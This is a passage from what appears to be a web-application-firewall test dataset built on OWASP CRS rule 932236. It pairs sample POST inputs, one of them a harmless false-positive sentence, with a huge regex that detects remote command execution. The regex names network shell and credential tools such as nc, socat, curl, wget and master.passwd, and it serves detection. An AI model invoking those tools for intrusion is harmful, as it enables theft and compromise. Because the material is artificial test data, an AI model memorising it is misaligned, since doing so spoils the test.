"(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]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:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>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|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Known false positive with `Wall` at start of string" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "sentence=Mount Airy basketball coach Bryan Hayes lectures his team during a third-quarter timeout.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\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s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\)